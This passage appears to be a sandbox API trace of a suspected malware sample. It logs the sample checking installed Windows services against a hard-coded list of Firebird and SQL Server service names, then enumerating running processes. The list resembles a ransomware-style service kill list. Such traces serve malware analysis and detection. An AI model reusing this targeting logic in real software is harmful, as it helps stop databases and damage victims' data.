[0131.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0131.358] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0131.358] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0131.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0131.358] lstrlenW (lpString="NlaSvc") returned 6 [0131.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0131.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0131.358] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0131.358] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0131.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0131.358] lstrlenW (lpString="nsi") returned 3 [0131.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0131.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0131.358] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0131.358] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0131.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0131.358] lstrlenW (lpString="PcaSvc") returned 6 [0131.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0131.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0131.358] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0131.358] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0131.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0131.358] lstrlenW (lpString="PlugPlay") returned 8 [0131.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0131.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0131.359] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0131.359] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0131.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0131.359] lstrlenW (lpString="Power") returned 5 [0131.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0131.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0131.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0131.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0131.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0131.359] lstrlenW (lpString="ProfSvc") returned 7 [0131.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0131.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0131.359] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0131.359] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0131.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0131.359] lstrlenW (lpString="RpcEptMapper") returned 12 [0131.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0131.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0131.359] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0131.359] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0131.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0131.359] lstrlenW (lpString="RpcSs") returned 5 [0131.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0131.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0131.359] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0131.359] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0131.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0131.359] lstrlenW (lpString="SamSs") returned 5 [0131.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0131.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0131.359] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0131.359] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0131.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0131.359] lstrlenW (lpString="Schedule") returned 8 [0131.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0131.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0131.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0131.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0131.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0131.359] lstrlenW (lpString="SENS") returned 4 [0131.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0131.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0131.360] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0131.360] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0131.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0131.360] lstrlenW (lpString="ShellHWDetection") returned 16 [0131.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0131.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0131.360] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0131.360] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0131.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0131.360] lstrlenW (lpString="Spooler") returned 7 [0131.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0131.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0131.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0131.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0131.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0131.360] lstrlenW (lpString="sppsvc") returned 6 [0131.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0131.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0131.360] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0131.360] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0131.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0131.360] lstrlenW (lpString="swprv") returned 5 [0131.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0131.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0131.360] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0131.360] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0131.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0131.360] lstrlenW (lpString="SysMain") returned 7 [0131.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0131.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0131.360] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0131.360] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0131.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0131.360] lstrlenW (lpString="Themes") returned 6 [0131.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0131.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0131.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0131.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0131.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0131.360] lstrlenW (lpString="TrkWks") returned 6 [0131.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0131.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0131.360] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0131.360] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0131.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0131.361] lstrlenW (lpString="UxSms") returned 5 [0131.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0131.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0131.361] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0131.361] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0131.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0131.361] lstrlenW (lpString="VSS") returned 3 [0131.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0131.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0131.361] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0131.361] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0131.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0131.361] lstrlenW (lpString="W32Time") returned 7 [0131.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0131.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0131.361] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0131.361] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0131.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0131.361] lstrlenW (lpString="WdiServiceHost") returned 14 [0131.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0131.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0131.361] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0131.361] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0131.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0131.361] lstrlenW (lpString="WdiSystemHost") returned 13 [0131.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0131.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0131.361] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0131.361] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0131.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0131.361] lstrlenW (lpString="WinDefend") returned 9 [0131.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0131.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0131.361] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0131.361] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0131.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0131.361] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0131.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0131.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0131.361] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0131.361] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0131.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0131.361] lstrlenW (lpString="Winmgmt") returned 7 [0131.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0131.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0131.362] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0131.362] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0131.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0131.362] lstrlenW (lpString="wscsvc") returned 6 [0131.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0131.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0131.362] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0131.362] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0131.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0131.362] lstrlenW (lpString="wuauserv") returned 8 [0131.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0131.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0131.362] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0131.362] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0131.362] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x220 [0131.364] Process32FirstW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.365] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.365] lstrlenW (lpString="System") returned 6 [0131.365] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.366] lstrlenW (lpString="smss.exe") returned 8 [0131.366] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.367] lstrlenW (lpString="csrss.exe") returned 9 [0131.367] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.367] lstrlenW (lpString="wininit.exe") returned 11 [0131.367] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.368] lstrlenW (lpString="csrss.exe") returned 9 [0131.368] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0131.369] lstrlenW (lpString="winlogon.exe") returned 12 [0131.369] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0131.369] lstrlenW (lpString="services.exe") returned 12 [0131.369] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0131.370] lstrlenW (lpString="lsass.exe") returned 9 [0131.370] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0131.371] lstrlenW (lpString="lsm.exe") returned 7 [0131.371] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.371] lstrlenW (lpString="svchost.exe") returned 11 [0131.371] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.372] lstrlenW (lpString="svchost.exe") returned 11 [0131.372] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.373] lstrlenW (lpString="svchost.exe") returned 11 [0131.373] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.374] lstrlenW (lpString="svchost.exe") returned 11 [0131.374] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.375] lstrlenW (lpString="svchost.exe") returned 11 [0131.375] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0131.375] lstrlenW (lpString="audiodg.exe") returned 11 [0131.375] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.376] lstrlenW (lpString="svchost.exe") returned 11 [0131.376] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.377] lstrlenW (lpString="svchost.exe") returned 11 [0131.377] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0131.377] lstrlenW (lpString="dwm.exe") returned 7 [0131.377] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0131.378] lstrlenW (lpString="explorer.exe") returned 12 [0131.378] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0131.379] lstrlenW (lpString="spoolsv.exe") returned 11 [0131.379] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0131.379] lstrlenW (lpString="taskhost.exe") returned 12 [0131.379] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.380] lstrlenW (lpString="svchost.exe") returned 11 [0131.380] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0131.381] lstrlenW (lpString="taskeng.exe") returned 11 [0131.381] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0131.381] lstrlenW (lpString="taskhost.exe") returned 12 [0131.381] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0131.382] lstrlenW (lpString="fixwaves.exe") returned 12 [0131.382] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0131.383] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0131.383] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0131.383] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0131.383] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0131.384] lstrlenW (lpString="monsaver.exe") returned 12 [0131.384] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0131.385] lstrlenW (lpString="dosesugar.exe") returned 13 [0131.385] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0131.386] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0131.386] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0131.386] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0131.386] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0131.387] lstrlenW (lpString="nonprofit top.exe") returned 17 [0131.387] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0131.388] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0131.388] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0131.466] lstrlenW (lpString="accused.exe") returned 11 [0131.466] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0131.545] lstrlenW (lpString="governance.exe") returned 14 